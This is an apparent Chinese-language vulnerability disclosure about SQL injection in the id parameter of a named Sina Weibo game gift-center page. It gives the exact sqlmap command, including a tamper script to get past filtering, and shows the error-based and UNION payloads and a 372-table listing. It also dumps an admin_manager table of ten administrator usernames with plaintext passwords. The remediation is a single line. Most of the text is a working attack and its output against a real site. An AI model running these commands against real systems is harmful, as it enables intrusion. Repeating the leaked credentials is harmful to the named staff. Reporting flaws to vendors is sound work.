新浪某站SQL注入(轻松绕过防御机制)
注入点
https://game.weibo.com/home/giftcenter/allgift?id=1793466158
参数id未过滤引发了血案
复现命令:
sqlmap.py -u "https://game.weibo.com/home/giftcenter/allgift?id=1793466158" --tamper ./tamper/concat2concatws.py
此处需加上混淆脚本,不然跑不出数据来(能检测到注入点)
[email protected]:~/FromGithub/sqlmap$ ./sqlmap.py -u "https://game.weibo.com/home/giftcenter/allgift?id=1793466158" ./tamper/concat2concatws.py --tables -T wyx_gift_info --columns
_
___ ___| |_____ ___ ___ {1.0.4.4#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 08:35:37
[08:35:37] [INFO] resuming back-end DBMS 'mysql'
[08:35:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1793466158 AND EXTRACTVALUE(6947,CONCAT(0x5c,0x716a6a6a71,(SELECT (ELT(6947=6947,1))),0x717a766a71))
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: id=1793466158 UNION ALL SELECT CONCAT(0x716a6a6a71,0x6f5659514b6e66564a5a7269556c76696c4342737746577a69554b62706a6d5361464a6970517a48,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[08:35:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.1
泄露的是游戏礼品卡以及一些其他信息
表名如下:
Database: app_wyxwg
[372 tables]
+--------------------------------+
| ac_app_info |
| ac_card_1000634813 |
| ac_card_1061941337 |
| ac_card_1063848787 |
| ac_card_1075686177 |
| ac_card_1088947451 |
| ac_card_1113475311 |
| ac_card_1139240581 |
| ac_card_1140978642 |
| ac_card_1202416732 |
| ac_card_1296374962 |
| ac_card_1333682350 |
| ac_card_1335940411 |
| ac_card_1355182900 |
| ac_card_138632168 |
| ac_card_1426804449 |
| ac_card_1497891364 |
| ac_card_153435334 |
| ac_card_1536411926 |
| ac_card_1591063028 |
| ac_card_1599371210 |
| ac_card_1632830007 |
| ac_card_1643769198 |
| ac_card_1696311346 |
| ac_card_1701093747 |
| ac_card_1717824507 |
| ac_card_1782509865 |
| ac_card_1793466158 |
| ac_card_182771672 |
| ac_card_1828077322 |
| ac_card_1840658317 |
| ac_card_1896804107 |
| ac_card_1930672832 |
| ac_card_1931487656 |
| ac_card_1942330763 |
| ac_card_1949319585 |
| ac_card_1959948215 |
| ac_card_1972919942 |
| ac_card_2001419793 |
| ac_card_2029964575 |
| ac_card_20320157 |
| ac_card_2040047246 |
| ac_card_2054524879 |
| ac_card_2059582607 |
| ac_card_2075109474 |
| ac_card_2122550839 |
| ac_card_2173069991 |
| ac_card_2248897440 |
| ac_card_2278806545 |
| ac_card_2407325320 |
| ac_card_241436255 |
| ac_card_2493303250 |
| ac_card_2543899332 |
| ac_card_2553074169 |
| ac_card_2574785607 |
| ac_card_2578294976 |
| ac_card_2592802044 |
| ac_card_2648753316 |
| ac_card_2678317303 |
| ac_card_26834556 |
| ac_card_2709149958 |
| ac_card_2748862254 |
| ac_card_2749774612 |
| ac_card_2754495406 |
| ac_card_2769098971 |
| ac_card_27703597 |
| ac_card_2772699862 |
| ac_card_2831099247 |
| ac_card_29007707 |
| ac_card_2936877187 |
| ac_card_2945103997 |
| ac_card_299741471 |
| ac_card_2999300503 |
| ac_card_3007052601 |
| ac_card_3031123572 |
| ac_card_3035403553 |
| ac_card_304343003 |
| ac_card_305512469 |
| ac_card_3080200451 |
| ac_card_3094538805 |
| ac_card_3100797371 |
| ac_card_3101439532 |
| ac_card_3111245181 |
| ac_card_3128253484 |
| ac_card_3175385071 |
| ac_card_3207876985 |
| ac_card_3213774457 |
| ac_card_323396218 |
| ac_card_3235046856 |
| ac_card_3235790965 |
| ac_card_3251845288 |
| ac_card_3266118805 |
| ac_card_3266771926 |
| ac_card_3281772937 |
| ac_card_3312862458 |
| ac_card_333556653 |
| ac_card_3354795559 |
| ac_card_3370493018 |
| ac_card_3396581656 |
| ac_card_3436557177 |
| ac_card_3489880529 |
| ac_card_3519357325 |
| ac_card_3591173588 |
| ac_card_3593716338 |
| ac_card_3603873567 |
| ac_card_3627369507 |
| ac_card_3631677399 |
| ac_card_3633439805 |
| ac_card_3634294922 |
| ac_card_3648068094 |
| ac_card_3695334005 |
| ac_card_369620565 |
| ac_card_3708129828 |
| ac_card_3739735099 |
| ac_card_3740513143 |
| ac_card_3763759559 |
| ac_card_3765089852 |
| ac_card_3776820852 |
| ac_card_3779616881 |
| ac_card_3834916806 |
| ac_card_383502640 |
| ac_card_385707598 |
| ac_card_3867225538 |
| ac_card_3879447791 |
| ac_card_3902438532 |
| ac_card_3903000292 |
| ac_card_3906307040 |
| ac_card_3928047464 |
| ac_card_3929126318 |
| ac_card_3929143939 |
| ac_card_3951524811 |
| ac_card_395205024 |
| ac_card_3988115332 |
| ac_card_4037795941 |
| ac_card_4043178508 |
| ac_card_4097134576 |
| ac_card_4110705332 |
| ac_card_4171737493 |
| ac_card_4182532026 |
| ac_card_4187151964 |
| ac_card_4199729400 |
| ac_card_4215138274 |
| ac_card_4216127926 |
| ac_card_421930467 |
| ac_card_422451490 |
| ac_card_4243675836 |
| ac_card_444137823 |
| ac_card_452417899 |
| ac_card_456710521 |
| ac_card_462939656 |
| ac_card_474905875 |
| ac_card_528498875 |
| ac_card_54879055 |
| ac_card_568538955 |
| ac_card_572831867 |
| ac_card_57921048 |
| ac_card_597014186 |
| ac_card_618966298 |
| ac_card_625210434 |
| ac_card_641890080 |
| ac_card_65228455 |
| ac_card_704907042 |
| ac_card_742180012 |
| ac_card_748689290 |
| ac_card_755598493 |
| ac_card_789485592 |
| ac_card_793022359 |
| ac_card_795245077 |
| ac_card_808234055 |
| ac_card_859055563 |
| ac_card_867325313 |
| ac_card_868608705 |
| ac_card_898595003 |
| ac_card_902476757 |
| ac_card_920781235 |
| ac_card_955481435 |
| ac_card_980780301 |
| ac_card_default |
| ac_desc |
| ac_info |
| ac_server |
| ac_type |
| admin_manager |
| cm_count |
| ld_app_server |
| test |
| webgame_config |
| webgame_foreshow_server |
| webgame_hot_Activity |
| webgame_maintain |
| webgame_new_server |
| webgame_pop_layer |
| webgame_recommend |
| webgame_silde |
| wg_app_forum |
| wg_app_info |
| wg_app_notice |
| wg_app_propaganda |
| wg_app_questions |
| wg_app_recommended |
| wg_app_screenshot |
| wg_app_server |
| wg_app_server_info |
| wg_app_server_info_bak20130513 |
| wg_app_server_info_bak20130517 |
| wg_app_stat |
| wyx_app_info |
| wyx_gift_1000634813 |
| wyx_gift_1061941337 |
| wyx_gift_1063848787 |
| wyx_gift_1075686177 |
| wyx_gift_1088947451 |
| wyx_gift_1113475311 |
| wyx_gift_1139240581 |
| wyx_gift_1202416732 |
| wyx_gift_1296374962 |
| wyx_gift_1333682350 |
| wyx_gift_1335940411 |
| wyx_gift_1355182900 |
| wyx_gift_138632168 |
| wyx_gift_1426804449 |
| wyx_gift_1497891364 |
| wyx_gift_153435334 |
| wyx_gift_1591063028 |
| wyx_gift_1599371210 |
| wyx_gift_1632830007 |
| wyx_gift_1643769198 |
| wyx_gift_1696311346 |
| wyx_gift_1701093747 |
| wyx_gift_1717824507 |
| wyx_gift_1782509865 |
| wyx_gift_1793466158 |
| wyx_gift_182771672 |
| wyx_gift_1828077322 |
| wyx_gift_1840658317 |
| wyx_gift_1896804107 |
| wyx_gift_1930672832 |
| wyx_gift_1931487656 |
| wyx_gift_1942330763 |
| wyx_gift_1949319585 |
| wyx_gift_1959948215 |
| wyx_gift_1972919942 |
| wyx_gift_2001419793 |
| wyx_gift_2029964575 |
| wyx_gift_20320157 |
| wyx_gift_2040047246 |
| wyx_gift_2054524879 |
| wyx_gift_2059582607 |
| wyx_gift_2075109474 |
| wyx_gift_2122550839 |
| wyx_gift_2173069991 |
| wyx_gift_2248897440 |
| wyx_gift_2278806545 |
| wyx_gift_2407325320 |
| wyx_gift_241436255 |
| wyx_gift_2493303250 |
| wyx_gift_2543899332 |
| wyx_gift_2553074169 |
| wyx_gift_2574785607 |
| wyx_gift_2578294976 |
| wyx_gift_2648753316 |
| wyx_gift_2678317303 |
| wyx_gift_26834556 |
| wyx_gift_2709149958 |
| wyx_gift_2748862254 |
| wyx_gift_2749774612 |
| wyx_gift_2754495406 |
| wyx_gift_2769098971 |
| wyx_gift_27703597 |
| wyx_gift_2772699862 |
| wyx_gift_2831099247 |
| wyx_gift_29007707 |
| wyx_gift_2936877187 |
| wyx_gift_2945103997 |
| wyx_gift_299741471 |
| wyx_gift_2999300503 |
| wyx_gift_3007052601 |
| wyx_gift_3031123572 |
| wyx_gift_304343003 |
| wyx_gift_305512469 |
| wyx_gift_3080200451 |
| wyx_gift_3094538805 |
| wyx_gift_3100797371 |
| wyx_gift_3101439532 |
| wyx_gift_3111245181 |
| wyx_gift_3128253484 |
| wyx_gift_3175385071 |
| wyx_gift_3207876985 |
| wyx_gift_3213774457 |
| wyx_gift_323396218 |
| wyx_gift_3235046856 |
| wyx_gift_3235790965 |
| wyx_gift_3251845288 |
| wyx_gift_3266118805 |
| wyx_gift_3266771926 |
| wyx_gift_3281772937 |
| wyx_gift_3312862458 |
| wyx_gift_3354795559 |
| wyx_gift_3370493018 |
| wyx_gift_3396581656 |
| wyx_gift_3436557177 |
| wyx_gift_3519357325 |
| wyx_gift_3593716338 |
| wyx_gift_3603873567 |
| wyx_gift_3627369507 |
| wyx_gift_3633439805 |
| wyx_gift_3634294922 |
| wyx_gift_3648068094 |
| wyx_gift_3695334005 |
| wyx_gift_369620565 |
| wyx_gift_3708129828 |
| wyx_gift_3739735099 |
| wyx_gift_3740513143 |
| wyx_gift_3763759559 |
| wyx_gift_3765089852 |
| wyx_gift_3776820852 |
| wyx_gift_3779616881 |
| wyx_gift_3834916806 |
| wyx_gift_383502640 |
| wyx_gift_385707598 |
| wyx_gift_3867225538 |
| wyx_gift_3879447791 |
| wyx_gift_3902438532 |
| wyx_gift_3903000292 |
| wyx_gift_3906307040 |
| wyx_gift_3928047464 |
| wyx_gift_3929126318 |
| wyx_gift_3929143939 |
| wyx_gift_3951524811 |
| wyx_gift_395205024 |
| wyx_gift_3988115332 |
| wyx_gift_4037795941 |
| wyx_gift_4043178508 |
| wyx_gift_4097134576 |
| wyx_gift_4110705332 |
| wyx_gift_4171737493 |
| wyx_gift_4182532026 |
| wyx_gift_4187151964 |
| wyx_gift_4199729400 |
| wyx_gift_4215138274 |
| wyx_gift_4216127926 |
| wyx_gift_444137823 |
| wyx_gift_452417899 |
| wyx_gift_456710521 |
| wyx_gift_462939656 |
| wyx_gift_474905875 |
| wyx_gift_528498875 |
| wyx_gift_54879055 |
| wyx_gift_568538955 |
| wyx_gift_572831867 |
| wyx_gift_57921048 |
| wyx_gift_597014186 |
| wyx_gift_618966298 |
| wyx_gift_625210434 |
| wyx_gift_641890080 |
| wyx_gift_65228455 |
| wyx_gift_704907042 |
| wyx_gift_742180012 |
| wyx_gift_748689290 |
| wyx_gift_755598493 |
| wyx_gift_793022359 |
| wyx_gift_795245077 |
| wyx_gift_859055563 |
| wyx_gift_867325313 |
| wyx_gift_868608705 |
| wyx_gift_898595003 |
| wyx_gift_902476757 |
| wyx_gift_920781235 |
| wyx_gift_955481435 |
| wyx_gift_980780301 |
| wyx_gift_info |
| wyx_gift_user_box |
+--------------------------------+
看了下管理员的密码 发现都是弱口令,好尴尬.你们这么大的厂也有弱口令...
Database: app_wyxwg
Table: admin_manager
[3 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| id | numeric |
| name | non-numeric |
| passwd | non-numeric |
+--------+-------------+
[08:21:43] [INFO] fetching columns for table 'admin_manager' in database 'app_wyxwg'
[08:21:44] [WARNING] the SQL query provided does not return any output
[08:21:44] [WARNING] the SQL query provided does not return any output
[08:21:44] [WARNING] unable to retrieve column names for table 'admin_manager' in database 'app_wyxwg'
[08:21:44] [INFO] fetching entries for table 'admin_manager' in database 'app_wyxwg'
[08:21:44] [INFO] the SQL query used returns 10 entries
[08:21:44] [INFO] retrieved: "25","xinlangyouxi","xinlangyouxi888"
[08:21:45] [INFO] retrieved: "8","lihuijuan","lihuijuan"
[08:21:45] [INFO] retrieved: "36","gejiao","111111"
[08:21:45] [INFO] retrieved: "35","jinjing","123456"
[08:21:45] [INFO] retrieved: "34","xinghui","123456"
[08:21:45] [INFO] retrieved: "40","zhuchongyang","zhuchongyang"
[08:21:45] [INFO] retrieved: "42","chenyang3","111111"
[08:21:45] [INFO] retrieved: "41","boqian","nirvana"
[08:21:45] [INFO] retrieved: "39","jinchuan","jinchuan123"
[08:21:46] [INFO] retrieved: "43","jialong3","jialong3"
[08:21:46] [INFO] analyzing table dump for possible password hashes
Database: app_wyxwg
Table: admin_manager
[10 entries]
+----+--------------+-----------------+
| id | name | passwd |
+----+--------------+-----------------+
| 25 | xinlangyouxi | xinlangyouxi888 |
| 8 | lihuijuan | lihuijuan |
| 36 | gejiao | 111111 |
| 35 | jinjing | 123456 |
| 34 | xinghui | 123456 |
| 40 | zhuchongyang | zhuchongyang |
| 42 | chenyang3 | 111111 |
| 41 | boqian | nirvana |
| 39 | jinchuan | jinchuan123 |
| 43 | jialong3 | jialong3 |
+----+--------------+-----------------+
[email protected]:~/FromGithub/sqlmap$ ./sqlmap.py -u "https://game.weibo.com/home/giftcenter/allgift?id=1793466158" --is-dba ./tamper/concat2concatws.py -T admin_manager --columns --dump
_
___ ___| |_____ ___ ___ {1.0.4.4#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 08:21:42
[08:21:42] [INFO] resuming back-end DBMS 'mysql'
[08:21:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1793466158 AND EXTRACTVALUE(6947,CONCAT(0x5c,0x716a6a6a71,(SELECT (ELT(6947=6947,1))),0x717a766a71))
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: id=1793466158 UNION ALL SELECT CONCAT(0x716a6a6a71,0x6f5659514b6e66564a5a7269556c76696c4342737746577a69554b62706a6d5361464a6970517a48,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[08:21:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.1
解决方案：
注入点不止一个.请自查修复